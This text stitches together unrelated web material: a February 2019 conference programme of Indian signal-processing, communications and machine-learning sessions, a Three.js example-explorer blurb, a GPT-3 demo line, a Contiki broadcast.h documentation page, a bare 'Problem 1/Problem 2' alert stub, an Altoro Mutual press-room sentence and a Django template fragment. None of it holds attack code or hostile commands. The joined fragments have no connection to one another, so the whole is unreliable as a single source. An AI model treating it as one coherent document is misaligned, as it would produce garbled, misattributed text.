BP1: Best Paper Awards Session 1
THURSDAY, February 21, 2019
- 11:45 Channels with Action Dependent States and Common Reconstructions
-
Viswanathan Ramachandran and Sibi Raj B Pillai (IIT Bombay, India); Vinod M Prabhakaran (Tata Institute of Fundamental Research, India)
- 12:03 Conditions for Optimality of Superposition Coding in Discrete Memoryless Broadcast Channels
-
Harikumar Krishnamurthy and Parikshit Hegde (Indian Institute of Technology Madras, India); Andrew Thangaraj (IIT Madras, India)
- 12:21 Maximally Recoverable Codes with Hierarchical Locality
-
Aaditya M Nair (International Institute of Information Technology, Hyderabad, India); V. Lalitha (International Institute of Information Technology, India)
- 12:39 Probability Mass Functions for Which Sources Have the Maximum Minimum Expected Length
-
Shivkumar K Manickam (Indian Institute of Science, India)
- 12:57 Achieving Secrecy Capacity of Minimum Storage Regenerating Codes for All Feasible (n,k,d) Parameter Values
-
V. Arvind Rameshwar (Indian Institute of Science); Navin Kashyap (Indian Institute of Science, India)
SP1: Speech Recognition
THURSDAY, February 21, 2019
- 11:45 Data-pooling and Multi-Task Learning for Enhanced Performance of Speech Recognition Systems in Multiple Low Resourced Languages
-
Madhavaraj Ayyavu and Ramakrishnan Ganesan (Indian Institute of Science, India)
- 12:03 On the Role of Linear, Mel and Inverse-Mel Filterbank in the Context of Automatic Speech Recognition
-
Hemant Kathania (NIT SIkkim, India); Syed Shahnawazuddin (National Institute of Technology Patna, India); Waquar Ahmad (National Institute of Technology Calicut, India); Nagaraj Adiga (University of Crete, India)
- 12:21 Speaking-Rate Adaptation of Automatic Speech Recognition System Through Fuzzy Classification Based Time-Scale Modification
-
Syed Shahnawazuddin (National Institute of Technology Patna, India); Hemant Kathania (NIT SIkkim, India); Nagaraj Adiga (University of Crete, India); Bandarupalli Tarun Sai (National Institute of Technology Patna, India); Waquar Ahmad (National Institute of Technology Calicut, India)
- 12:39 Instantaneous Frequency Features for Noise Robust Speech Recognition
-
Shekhar Nayak (IIT Hyderabad, India); Shashank Dhar Burugula (Georgia Institute of Technology, Atlanta, USA); Saurabhchand Bhati (Indian Institute of Technology Hyderabad, India); Koilakuntla Bramhendra (IIT Hyderabad, India); Sri Rama Murty Kodukula (Indian Institute of Technology Hyderabad, India)
RF1: Antenna Design
THURSDAY, February 21, 2019
- 11:45 Slit Loaded Circular Ultra Wideband Antenna for Band Notch Characteristics
-
Ameya Kadam (D J Sanghvi College of Engineering, India); Amit Deshmukh (DJSCOE, India); Akshay Doshi (D J Sanghvi College of Egnigeering, India); Sanjay Deshmukh (Mumbai University & DJSCE, India); Kamala Prasan Ray (DIAT, Pune)
- 12:03 Analysis and Resonant Length Formulation of Dual Band Microstrip Antenna with Modified Ground
-
Poonam Kadam (DJSCE, India); Amit Deshmukh (DJSCOE, India); Akshay Doshi (D J Sanghvi College of Egnigeering, India); Sanjay Deshmukh (Mumbai University & DJSCE, India)
- 12:21 Proximity Fed Broadband Equilateral Triangular Microstrip Antenna Using Parasitic Rectangular Patches
-
Sanjay Deshmukh (Mumbai University & DJSCE, India); Amit Deshmukh (DJSCOE, India); Akshay Doshi (D J Sanghvi College of Egnigeering, India)
- 12:39 Slot Cut Modified Triangular Shape Microstrip Antenna for Circular Polarization
-
Akshay Doshi (D J Sanghvi College of Egnigeering, India); Amit Deshmukh (DJSCOE, India); Sanjay Deshmukh (Mumbai University & DJSCE, India); Kamala Prasan Ray (DIAT, Pune)
- 12:57 A Circular Fractal Antenna Array
-
Rahul Chauhan (DAIICT, India); Sanjeev Gupta (DA-IICT, India)
BP2: Best Paper Awards Session 2
THURSDAY, February 21, 2019
- 14:15 High Performance Multiplierless Serial Pipelined VLSI Architecture for Real-Valued FFT
-
Jinti Hazarika, Tasleem Khan and Shaik Rafi Ahamed (Indian Institute of Technology Guwahati, India); Harshal Nemade (Indian Institute of Technology Guwahati)
- 14:33 Efficient Methods for Estimating Sinusoidal Frequencies Using Line Spectral Pairs
-
Palakkal Vishnu (Indian Institute of Technology Madras, India); C S Ramalingam (IITM, India)
- 14:51 Adaptive Multiple-pixel Wide Seam Carving
-
Diptiben Patel (Indian Institute of Technology Gandhinagar, India); Srivathsan Shanmuganathan (University of Jaffna, Sri Lanka & Indian Institute of Technology, Gandhinagar, India); Shanmuganathan Raman (Indian Institute of Technology, Gandhinagar, India)
- 15:09 Design of Discrete Frequency-Coding Waveforms Using Phase-Coded Linear Chirp for Multiuser and MIMO Radar Systems
-
Arijit Roy (Indian Institute of Technology Guwahati, India); Debasish Deb (DRDO, India); Harshal Nemade (Indian Institute of Technology, India); Ratnajit Bhattacharjee (IIT Guwahati, India)
- 15:27 Saliency Guided Image Detail Enhancement
-
Sanjay Ghosh, Ruturaj G. Gavaskar and Kunal Chaudhury (Indian Institute of Science, India)
NW1: Communication Networks
THURSDAY, February 21, 2019
- 14:15 Caching Partial Files for Content Delivery
-
Lakshmi Narayana V S Ch and Sambhav Jain (Indian Institute of Technology, Bombay, India); Sharayu Moharir (Indian Institute of Technology Bombay, India)
- 14:33 The HTTP/2 Server Push and Its Implications on Mobile Web Quality of Experience
-
Hema Kumar Yarnagula and Venkatesh Tamarapalli (Indian Institute of Technology Guwahati, India)
- 14:51 A Graph Based Clustering and Preconditioning of V-MIMO Wireless Sensor Networks
-
Rakesh Mundlamuri and Thangapandian B (Shiv Nadar University, India); Vijay Kumar Chakka (Shiv Nadar University Greater Noida, India); Srikanth Goli (Shiv Nadar University, India)
- 15:09 Analysis of Mid-Haul Characteristics for LTE-NR Multi-Connectivity in Heterogeneous Cloud RAN
-
Ramakrishnan S and Subrat Kar (Indian Institute of Technology, Delhi, India); Dharmaraja Selvamuthu (IIT Delhi, India)
- 15:27 ASER Analysis of General Order Rectangular QAM for Dual-Hop NLOS UV Communication System
-
Kamal K Garg and Praveen Kumar Singya (Indian Institute of Technology, Indore, India); Vimal Bhatia (Indian Institute of Technology Indore, India)
BP3: Best Paper Awards Session 3
THURSDAY, February 21, 2019
- 16:15 SSK Performance with SWIPT Based Dual-Hop AF Relay over Rayleigh Fading
-
Hemanta Sahu (Indian Institute of Technology, Bhubaneswar, India); Pravas Ranjan Sahu (Indian Institute of Technology Bhubaneswar, India)
- 16:33 Interference Violation Probability Constrained Underlay Cognitive Massive MIMO Network Under Imperfect Channel Knowledge
-
Rama Gupta (Indian Institute of Technology, Guwahati, India); Salil Kashyap (Indian Institute of Technology Guwahati, India); Pothan Enukonda Venkata (IIT-GUWAHATI, India)
- 16:51 Improved Tail Bounds for Missing Mass and Confidence Intervals for Good-Turing Estimator
-
Prafulla Chandra, Aditya Pradeep and Andrew Thangaraj (IIT Madras, India)
- 17:09 Differential Phase Encoding Schemes for Measurement-Device-Independent Quantum Key Distribution
-
Shashank Kumar Ranu (Indian Institute of Technology Madras, India); Anil Prabhakar (IIT Madras, India); Prabha Mandayam (Indian Institute of Technology Madras, India)
- 17:27 Truthful Double Auction Based VM Allocation for Revenue-Energy Trade-Off in Cloud Data Centers
-
Yashwant Singh Patel (Indian Institute of Technology Patna, India); Animesh Nighojkar (Medi-Caps Institute of Technology and Management, India); Rajiv Misra (Indian Institute of Technology Patna, India)
ML1: Applications of Machine Learning
THURSDAY, February 21, 2019
- 16:15 Development of Assamese Text-to-Speech System Using Deep Neural Network
-
Abhash Deka (Indian Institute of Technology Guwahati, India); Priyankoo Sarmah (IIT Guwahati, India); Samudravijaya K (Indian Institute of Technology Guwahati, India); Mahadeva Prasanna (IIT Dharwad, India)
- 16:33 Multimodal Fusion of Speech and Text Using Semi-supervised LDA for Indexing Lecture Videos
-
Moula Husain (VTU, India); Meena S M (B. V. Bhoomaraddi College of Engineering and Technology, India)
- 16:51 Emotion Recognition from Varying Length Patterns of Speech Using CNN-based Segment-Level Pyramid Match Kernel Based SVMs
-
Shikha Gupta (Indian Institute of Technology Mandi, India); Kishalaya De (MIT Manipal, India); Dileep Aroor Dinesh (Indian Institute of Technology Mandi (IIT Mandi), India); Veena Thenkanidiyoor (NIT Goa, India)
- 17:09 Full-Reference Video Quality Assessment Using Deep 3D Convolutional Neural Networks
-
Sathya Veera Reddy Dendi (Indian Institute of Technology Hyderabad, India); Gokul Krishnappa (IIT Hyderabad, India); Sumohana Channappayya (Indian Institute of Technology Hyderabad, India)
- 17:27 Deep Learning-Based Modulation Classification Using Time and Stockwell Domain Channeling
-
Sambit Behura (National Institute of Technology Rourkela, India); Shrishail M Hiremath (NIT Rourkela & Communication and Networks, India); Sarat Kumar Patra (National Institute of Technology, Rourkela, India); Siddharth Deshmukh (National Institute Of Technology, Rourkela, India); Subham Kedia (National Institute of Technology Rourkela, India)
COM1: Communications Algorithms and Implementation
FRIDAY, February 22, 2019
- 11:15 Sparse Bayesian Learning (SBL)-Based Frequency-Selective Channel Estimation for Millimeter Wave Hybrid MIMO Systems
-
Suraj Srivastava (Indian Institute of Technology Kanpur, India); Ch Suraj Kumar Patro (IIT KANPUR, India); Aditya K Jagannatham and Govind Sharma (Indian Institute of Technology Kanpur, India)
- 11:33 MIMO-FBMC Channel Estimation with Limited, and Imperfect Knowledge of Channel Correlations
-
Prem Singh and Kasturi Vasudevan (Indian Institute of Technology Kanpur, India)
- 11:51 Hardware Implementation of Filtered OFDM for BB-PLC Using Software Defined Radio
-
Sumesh KP and Ankit Dubey (National Institute of Technology Goa, India); Trilochan Panigrahi (National Institute of Technology, Goa, India)
- 12:09 Codebook Based Precoding for Multiuser MIMO Broadcast Systems: An MM Approach
-
Sai Subramanyam Thoota (Indian Institute of Science, Bangalore, India); Prabhu Babu (CARE, Indian Institute of Technology, Delhi, India); Chandra R Murthy (Indian Institute of Science, India)
- 12:27 Modified Generalised Quadrature Spatial Modulation
-
Kiran Gunde and K. v. s. Hari (Indian Institute of Science, India)
INV1: Invited Talks: Signal Processing
FRIDAY, February 22, 2019
- 11:15 Tuning Free Algorithms for Sparse Estimation
-
Sheetal Kalyani(Indian Institute of Technology, Chennai)
- 11:33 An Improved Multitasking Diffusion APA Based on Controlled Inter-Cluster Collaboration
-
Mrityunjoy Chakraborty (Indian Institute of Technology, Kharagpur)
- 11:51 Towards Self-Sustaining Devices Through Energy Harvesting
-
Shankar Prakriya (Indian Institute of Technology, Delhi)
- 12:09 Learning of Signal Sampled at Unknown Locations Generated by an Unknown Autoregressive Process
-
Animesh Kumar (Indian Institute of Technology, Mumbai)
- 12:27 Sparse Sampling for Product Graphs and Tensors
-
Sundeep Prabhakar Chepuri (Indian Institute of Science, Bengaluru)
RF2: RF & Microwaves
FRIDAY, February 22, 2019
- 11:15 Predistortion Linearizer Design for Ku Band RF Power Amplifier
-
Girish Chandra Tripathi (Indian Institute of Technology Roorkee, India); Meenakshi Rawat (IIT Roorkee, India)
- 11:33 LSTM-Deep Neural Networks Based Predistortion Linearizer for High Power Amplifiers
-
Meenakshi Rawat and Deepmala Phartiyal (IIT Roorkee, India)
- 11:51 Design of Multiband Negative Permittivity Metamaterial Based on Interdigitated and Meander Line Resonator
-
Rohan Deshmukh, Dushyant Marathe and Kishore Kulat (Visvesvaraya National Institute of Technology, VNIT, Nagpur, India)
- 12:09 Design of Frequency-Signature Based Multiresonators Using Quarter Wavelength Open Ended Stub for Chipless RFID Tag
-
P Prabavathi and Subha Rani S (PSG College of Technology, India)
- 12:27 Slot Antenna Miniaturization Using Dielectric Loading Techniques
-
Khan Masood Parvez, Enamul Khan, Sk. Moinul Haque and Jinia Aktar (Aliah University, India)
COM2: Optical and Quantum Communications
FRIDAY, February 22, 2019
- 13:45 Quantum Random Number Generator with One and Two Entropy Sources
-
Gautam Shaw (Indian Institute of Technology Madras, India); Sivaram SR and Anil Prabhakar (IIT Madras, India)
- 14:03 Simulation of Emission Wavelength of Quantum Dot Based Single Photon Sources
-
Jyothish M and Fredy Francis (Indian Institute of Technology Madras, India); Manivasakan R (IIT, Chennai, India)
- 14:21 Adaptive Polarization Control for Coherent Optical Links with Polarization Multiplexed Carrier
-
Mehul Anghan and Rashmi Kamran (IIT Mumbai, India); Nihir Gulati (IIT Kanpur, India); Nandakumar Nambath (Indian Institute of Technology Goa, India); Shalabh Gupta (Indian Institute of Technology Bombay, India)
- 14:39 Analysis of Beam Wander Effect of Flat-topped Multi-Gaussian Beam for FSO Communication Link
-
Arka Mukherjee and Subrat Kar (Indian Institute of Technology, Delhi, India); V K Jain (IIT Delhi, India)
- 14:57 Qubits Through Queues: The Capacity of Channels with Waiting Time Dependent Errors
-
Krishna P Jagannathan, Avhishek Chatterjee and Prabha Mandayam (Indian Institute of Technology Madras, India)
SP2: Speech Segmentation and Detection
FRIDAY, February 22, 2019
- 13.45 Detection of Vowel-Like Speech Using Variance of Sample Magnitudes
-
Nagapuri Srinivas (National Institute of Technology Patna, India); Gayadhar Pradhan (NIT patna, India); Kishore Kumar Puli (National Institute of Technology Andhra Pradesh, India)
- 14.03 Detection of Vowels in Speech Signals Degraded by Speech-Like Noise
-
Avinash Kumar (NIT patna, India); Sarmila Garnaik (Veer Surendra Sai University of Technology, India); Ishwar Chandra Yadav (National Institute of Technology Patna, India); Gayadhar Pradhan (NIT patna, India); Syed Shahnawazuddin (National Institute of Technology Patna, India)
- 14.21 Modelling Glottal Flow Derivative Signal for Detection of Replay Speech Samples
-
Jagabandhu Mishra (Indian Institute of Technology Dharwad, India); Debadatta Pati (National Institute of Technology Nagaland, India); Mahadeva Prasanna (IIT Dharwad, India)
- 14.39 Comparison of Low Dimension Speech Segment Embeddings Application to Speaker Diarization
-
Srikanth Raj Chetupalli (Indian Institute of Science, India); Thippur Sreenivas (IISc, India); Anand Gopalakrishnan (National Institute of Technology, Karnataka, Surathkal, India)
- 14.57 Improved Epoch Extraction from Speech Signals Using Wavelet Synchrosqueezed Transform
-
Govind D, S Lakshmi Priya and Akarsh S (Amrita Vishwa Vidyapeetham, India); Ganga Gowri B (Amrita Viswa Vidyapeetham, India); Soman K P (Amrita Vishwa Vidyapeetham, India)
INV2: 5G communications
FRIDAY, February 22, 2019
- 13.45 Overview of the Indian 5G Testbed
-
Radha Krishna Ganti (Indian Institute of Technology Madras, India)
- 14.03 CeWiT's 5G Testbed Efforts
-
Babu Narayanan (CEWIT, IIT Madras, India)
- 14.21 Unified Control of Multi-RAT Radio Access Network: An SDN & NFV based Approach
-
Pranav Jha (Indian Institute of Technology Bombay, India)
- 14.39 Dynamic Mode Selection and Link Adaptation in 5G NR
-
Sreenath R (Lekha Wireless, India)
- 14.57 Fronthual and Timing Standards for 5G
-
Jishnu A (Tejas Networks, India)
COM3: Communication Theory
FRIDAY, February 22, 2019
- 15:45 Performance Analysis and Optimization of Interference Limited Multi-Antenna BRN
-
Imtiyaz Khan (NIT ROURKLA, India); Dhulipudi Krishna Kanth (NIT Rourkela, India); Poonam Singh (National Institute Of Technology, Rourkela, India)
- 16:03 Outage Analysis of an Asymmetric Dual Hop PLC-VLC System for Indoor Broadcasting
-
Manan Jani and Parul Garg (Netaji Subhas Institute of Technology, New Delhi, India); Akash Gupta (Netaji Subhas Institute of Technology, India)
- 16:21 Error Performance of QAM GFDM Waveform with CFO Under AWGN and TWDP Fading Channel
-
Sapta Girish Babu Neelam (Bharat Electronics Limited & IIT Bhubaneswar, India); Pravas Ranjan Sahu (Indian Institute of Technology Bhubaneswar, India)
- 16:39 Performance Analysis of Wireless Powered Decode-and-Forward Relay System
-
Pawan Kumar and Kalpana Dhaka (Indian Institute of Technology Guwahati, India)
- 16:57 Performance Evaluation of Visible Light Communication for DCO and ACO Optical OFDM Techniques
-
Mahendra Pratap Singh Bhadoria (IIT Delhi, India); Gaurav Pandey (Indian Institute of Technology (IIT) Delhi, India); Abhishek Dixit (Indian Institute of Technology Delhi & IBBT, India)
ML2: Machine Learning and Optimization
FRIDAY, February 22, 2019
- 15:45 Modelling and Short Term Forecasting of Flash Floods in an Urban Environment
-
Suraj Ogale (DA-IICT, India); Sanjay Srivastava (Dhirubhai Ambani Institute of Information and Communication Technology, India)
- 16:03 An Iterative Eigensolver for Rank-Constrained Semidefinite Programming
-
Rajat Sanyal (KPMG Advisory Services Private Limited, India); Aditya Singh and Kunal Chaudhury (Indian Institute of Science, India)
- 16:21 A Weighted Optimization for Fourier Ptychographic Microscopy
-
Parimala Kancharla (IITH, India); Sumohana Channappayya (Indian Institute of Technology Hyderabad, India)
- 16:39 Top-m Clustering with a Noisy Oracle
-
Tuhinangshu Choudhury (Indian Institute of Technology Bombay, India); Dhruti Shah (Indian Institute of Technology, Bombay, India); Nikhil Karamchandani (Indian Institute of Technology Bombay, India)
- 16:57 Unsupervised GIST Based Clustering for Object Localization
-
Saprem Shah (Dhirubhai Ambani Institute of Information and Communication Technology, India); Kunal Khatri (Dhirubhai Ambani Institute of Informtion and Communication Technology, India); Purva Mhasakar (Dhirubhai Ambani Institute of Information and Communication Technology, India); Rajendra Nagar (IIT Gandhianagar, India); Shanmuganathan Raman (Indian Institute of Technology, Gandhinagar, India)
INV3: Networks and Applications
FRIDAY, February 22, 2019
- 15:45 Game-Theoretic Vaccination Against Networked SIS Epidemics and Impacts of Human Decision-Making
-
Ashish Hota (Indian Institute of Technology (IIT), Kharagpur, India)
- 16:03 Making difficult things doable by leveraging communications: A case study of electric vehicles in India
-
Ashok Jhunjhunwala (Indian Institute of Technology Madras, India)
- 16:21 Optical Wireless Communication (OWC) Using LiFi Based System and Optical Camera Communication (OCC) Based System
-
Shailesh Prabhu (Wipro, India)
- 16:39 Millimeterwave Selection Optimization for Sustaining the 5G Use Cases
-
Gourab Ghatak (IIIT Delhi, India)
- 16:57 Distributed Smart Networks: A convergence of 5G, IoT, AI, and Blockchain
-
Dilip Krishnaswamy (Reliance Jio Infocomm Ltd, India)
COM4: Communications System Design
SATURDAY, February 23, 2019
- 11.45 Development of an Efficient Low-complexity Channel Estimator for Digital Television Terrestrial Broadcasting Systems
-
Ghanshyamkumar Sah and Pyari Mohan Pradhan (Indian Institute of Technology (IIT) Roorkee, India)
- 12.03 Power Domain NOMA Design Based on MBER Criterion
-
Amit Dutta (Indian Institute of Technology, Kharagpur, India)
- 12:21 Full-duplex Multi-user Pair Scheduling with Time-selective Fading and Imperfect CSI
-
Prabhat Kumar Sharma and Prasanna Raut (Visvesvaraya National Institute of Technology, India)
- 12.39 A Planar Four-Port Integrated UWB and NB Antenna System for CR in 3.1GHz to 10.6GHz
-
Anveshkumar Nella (VIT, Bhopal, India); Abhay Gandhi (Viswesarayya National Institute of Technology, India)
- 12:57 Generalized Selection Combining for Dynamic SSK-BPSK Systems
-
Ananth A (IIITDM Kancheepuram, India); Palani Maheswaran (Indian Institute of Technology - Madras, India); Mandha Damodaran Selvaraj (Indian Institute of Information Technology, Design and Manufacturing, India)
SP3: Image Processing
SATURDAY, February 23, 2019
- 11.45 Camera Zoom Detection and Classification Based on Application of Histogram Intersection and Kullback Leibler Divergence
-
Pavan Sandula (NIT Rourkela, India); Manish Okade (National Institute of Technology (NIT), Rourkela, India)
- 12.03 Splitting Merged Characters of Kannada Benchmark Dataset Using Simplified Paired-Valleys and L-Cut
-
Shiva Kumar H. Ramagowda, Madhavaraj Ayyavu and Ramakrishnan Ganesan (Indian Institute of Science, India)
- 12:21 Gamma Enhanced Binarization - An Adaptive Nonlinear Enhancement of Degraded Word Images for Improved Recognition of Split Characters
-
Shiva Kumar H. Ramagowda and Ramakrishnan Ganesan (Indian Institute of Science, India)
- 12.39 Full Reference Stereoscopic Video Quality Assessment Based on Spatio-Depth Saliency and Motion Strength
-
Sameeulla Khan MD (Vellore Institute of Technology, Amaravati, India); Sumohana Channappayya (Indian Institute of Technology Hyderabad, India)
- 12:57 Interpolated Compressed Sensing for Calibrationless Parallel MRI Reconstruction
-
Bhabesh Deka and Sumit Datta (Tezpur University, India)
INV4: Communication theory and systems
SATURDAY, February 23, 2019
- 11.45 An OAI Based Testbed for Cellular-WiFi Convergence
-
Bheemarjuna Reddy Tamma (IIT Hyderabad, India)
- 12.03 Solving a Distributed Stochastic Optimization Problem How Good is the Drift-Plus-Penalty Algorithm
-
Bharath Bettagere (IIT Dharwad, India)
- 12:21 Not Just Age but Age and Quality of Information
-
Rahul Vaze (TIFR Mumbai, India)
- 12.39 Authenticated Communication over Multiple Access Channels with Adversarial Users
-
Bikash K Dey (Indian Institute of Technology Bombay, India)
- 12:57 Adversarial Attacks on Next-Generation Wireless Networks by Cognitive Radios
-
Harshan Jagadeesh (Indian Institute of Technology Delhi, India)
COM5: Information and Coding Theory
SATURDAY, February 23, 2019
- 14:15 Performance Analysis of BCH and Repetition Codes in Gamma-Gamma Faded FSO Link
-
Sonali Garg (IIT Delhi, India); Nancy Gupta (IIT DELHI, India); Abhishek Dixit (Indian Institute of Technology Delhi & IBBT, India); V K Jain (IIT Delhi, India)
- 14:33 Towards the Exact Rate Memory Tradeoff in Coded Caching
-
Vijith kumar K p, Brijesh Kumar Rai and Tony Jacob (Indian Institute of Technology Guwahati, India)
- 14:51 On the Optimality of Simple Han-Kobayashi Schemes for Gaussian Interference Channels
-
Ragini Chaluvadi (IIT MADRAS, India); Srikrishna Bhashyam (Indian Institute of Technology Madras, India)
- 15:09 A Minimax Theorem for Finite Blocklength Joint Source-Channel Coding over an AVC
-
Anuj Vora and Ankur A. Kulkarni (Indian Institute of Technology Bombay, India)
- 15:27 General Compute and Forward for Virtual Full-Duplex Relaying
-
Roshan Sam (Indian Institute of Technology, Madras, India); Antony Mampilly (IIT Madras, India); Srikrishna Bhashyam (Indian Institute of Technology Madras, India)
SP4: Biomedical Signal Processing
SATURDAY, February 23, 2019
- 14:15 A SegNet Based Image Enhancement Technique for Air-Tissue Boundary Segmentation in Real-Time Magnetic Resonance Imaging Video
-
Renuka Mannem (Indian Institute of Science, Bangalore, India); Valliappan CA and Prasanta Kumar Ghosh (Indian Institute of Science, India)
- 14:33 Edge Preserved Herringbone Artifact Removal from MRI Using Two-Stage Variational Mode Decomposition
-
Divya Pankaj (Amrita University, Coimbatore, India); Govind D (Amrita Vishwa Vidyapeetham, India); Narayanankutty Kotheneth K a (Amrita School of Engineering & Amrita School of Engineering, India)
- 14:51 A Weighted SVM Based Approach for Automatic Detection of Posterior Myocardial Infarction Using VCG Signals
-
Eedara Prabhakararao and Samarendra Dandapat (Indian Institute of Technology Guwahati, India)
- 15:09 Brain Tumor Segmentation Using Discriminator Loss
-
Joydeep Das (Indian Institute of Techmology Roorkee, India); Rashmin Patel (Indian Institute of Technology, Roorkee, India); Vinod Pankajakshan (Indian Institute of Technology Roorkee, India)
- 15:27 Decision Support System for Liver Cancer Diagnosis Using Focus Features in NSCT Domain
-
B Lakshmi Priya (Pondicherry Engineering College, India); Kaliyaperumal Jayanthi (University of Pondicherry, India); Biju Pottakkat and G Ramkumar (JIPMER, India)
COM6: Detection and Estimation
SATURDAY, February 23, 2019
- 14:15 Detection and Estimation of Multiple DoA Targets with Single Snapshot Measurements
-
Rakshith Jagannath (IIT Madras, India)
- 14:33 Signal Design and Detection Algorithms for Quick Detection Under False Alarm Rate Constraints
-
Pavan Kumar Reddy (IIST, India); Vineeth Bala Sukumaran (Indian Institute of Space Science and Technology, Trivandrum, India)
- 14:51 Improved Data Fusion for Multi-Sensor Tracking Using a Reinforced Viterbi Algorithm
-
Rajarshi Biswas, Akash Doshi and Akankshya Bhatta (Indian Institute of Technology Bombay, India); Sibi Raj B Pillai (IIT Bombay, India)
- 15:09 Single Versus Multi-Source Discrimination in Birdcalls Using Zero-Frequency Filtering
-
Ragini Sinha (IIT MANDI, India); Vivek Vadluri, Ashish Arya and Padmanabhan Rajan (IIT Mandi, India)
- 15:27 An Objective Measure to Assess Musical Noise Using Connected Time-Frequency Regions
-
Ajey Saligrama (PESIT-BSC, India); H. g. Ranjani (IISc, India); Muralishankar R (CMR Institute of Technology, India); Shankar H N ((i) CMR Institute of Technology, Bangalore, India)


This application gives you full freedom in exploring official Three.js examples. Simply click on example in the tree view and it will show up in "Preview" panel. Javascript code for that example will be loaded in "Code" panel and there you'll be able to change/modify the code as you like.
When you want to see the result of your changes press "F5" or "CTRL+S" on you keyboard and the example will reload with those changes.
Note that original example IS NOT changed. You're working with a copy, so you don't have to worry about braking stuff.
The application has flexible layout system and you can change it as you want. And the application will save your layout every time you close it.
Here are a few different layouts for you to try:
Pick one of the layouts or create your own and start exploring wonderful world of Three.js.
Have fun!


An Example Knowledge Base App Powered by GPT-3
This will be a live version of the example GPT-3 application that is built in Chapter 9 and 10 of the book Exploring GPT-3


|
Contiki 2.5
|
00001 /** 00002 * \addtogroup rime 00003 * @{ 00004 */ 00005 00006 /** 00007 * \defgroup rimeibc Best-effort local area broadcast 00008 * @{ 00009 * 00010 * The broadcast module sends packets to all local area neighbors with an a 00011 * header that identifies the sender. 00012 * 00013 * The broadcast module sends a packet to all local neighbors. The 00014 * module adds the single-hop sender address as a packet attribute to 00015 * outgoing packets. All Rime primitives that need the identity of 00016 * the sender in the outgoing packets use the broadcast primitive, 00017 * either directly or indirectly through any of the other 00018 * communication primitives that are based on the broadcast primitive. 00019 * 00020 * \section channels Channels 00021 * 00022 * The broadcast module uses 1 channel. 00023 * 00024 */ 00025 00026 /* 00027 * Copyright (c) 2006, Swedish Institute of Computer Science. 00028 * All rights reserved. 00029 * 00030 * Redistribution and use in source and binary forms, with or without 00031 * modification, are permitted provided that the following conditions 00032 * are met: 00033 * 1. Redistributions of source code must retain the above copyright 00034 * notice, this list of conditions and the following disclaimer. 00035 * 2. Redistributions in binary form must reproduce the above copyright 00036 * notice, this list of conditions and the following disclaimer in the 00037 * documentation and/or other materials provided with the distribution. 00038 * 3. Neither the name of the Institute nor the names of its contributors 00039 * may be used to endorse or promote products derived from this software 00040 * without specific prior written permission. 00041 * 00042 * THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND 00043 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 00044 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 00045 * ARE DISCLAIMED. IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE 00046 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 00047 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 00048 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 00049 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 00050 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 00051 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 00052 * SUCH DAMAGE. 00053 * 00054 * This file is part of the Contiki operating system. 00055 * 00056 * $Id: broadcast.h,v 1.5 2010/02/23 18:38:05 adamdunkels Exp $ 00057 */ 00058 00059 /** 00060 * \file 00061 * Header file for identified best-effort local area broadcast 00062 * \author 00063 * Adam Dunkels<EMAIL_ADDRESS>00064 */ 00065 00066 #ifndef __BROADCAST_H__ 00067 #define __BROADCAST_H__ 00068 00069 #include "net/rime/abc.h" 00070 #include "net/rime/rimeaddr.h" 00071 00072 struct broadcast_conn; 00073 00074 #define BROADCAST_ATTRIBUTES { PACKETBUF_ADDR_SENDER, PACKETBUF_ADDRSIZE }, \ 00075 ABC_ATTRIBUTES 00076 00077 /** 00078 * \brief Callback structure for broadcast 00079 * 00080 */ 00081 struct broadcast_callbacks { 00082 /** Called when a packet has been received by the broadcast module. */ 00083 void (* recv)(struct broadcast_conn *ptr, const rimeaddr_t *sender); 00084 void (* sent)(struct broadcast_conn *ptr, int status, int num_tx); 00085 }; 00086 00087 struct broadcast_conn { 00088 struct abc_conn c; 00089 const struct broadcast_callbacks *u; 00090 }; 00091 00092 /** 00093 * \brief Set up an identified best-effort broadcast connection 00094 * \param c A pointer to a struct broadcast_conn 00095 * \param channel The channel on which the connection will operate 00096 * \param u A struct broadcast_callbacks with function pointers to functions that will be called when a packet has been received 00097 * 00098 * This function sets up a broadcast connection on the 00099 * specified channel. The caller must have allocated the 00100 * memory for the struct broadcast_conn, usually by declaring it 00101 * as a static variable. 00102 * 00103 * The struct broadcast_callbacks pointer must point to a structure 00104 * containing a pointer to a function that will be called 00105 * when a packet arrives on the channel. 00106 * 00107 */ 00108 void broadcast_open(struct broadcast_conn *c, uint16_t channel, 00109 const struct broadcast_callbacks *u); 00110 00111 /** 00112 * \brief Close a broadcast connection 00113 * \param c A pointer to a struct broadcast_conn 00114 * 00115 * This function closes a broadcast connection that has 00116 * previously been opened with broadcast_open(). 00117 * 00118 * This function typically is called as an exit handler. 00119 * 00120 */ 00121 void broadcast_close(struct broadcast_conn *c); 00122 00123 /** 00124 * \brief Send an identified best-effort broadcast packet 00125 * \param c The broadcast connection on which the packet should be sent 00126 * \retval Non-zero if the packet could be sent, zero otherwise 00127 * 00128 * This function sends an identified best-effort broadcast 00129 * packet. The packet must be present in the packetbuf 00130 * before this function is called. 00131 * 00132 * The parameter c must point to a broadcast connection that 00133 * must have previously been set up with broadcast_open(). 00134 * 00135 */ 00136 int broadcast_send(struct broadcast_conn *c); 00137 00138 #endif /* __BROADCAST_H__ */ 00139 /** @} */ 00140 /** @} */


Problem 1
Problem 2
Alireza Omidi
Problem 1
For the alert, click on the "Problem 1" link above the page.
Problem 2


Welcome to the Altoro Mutual press room. Please note that our releases are accurate as of the date they are issued; however, they should not be relied on as correct after their issue date.


{% extends 'workshop/cpanel/index.html' %}
{% load workshop %}
{% load user %}
{% block tabcontent %}
{% for semigroup in semigroups %}
{{ semigroup.get_room_display }}
Semigroup: {{ semigroup }},
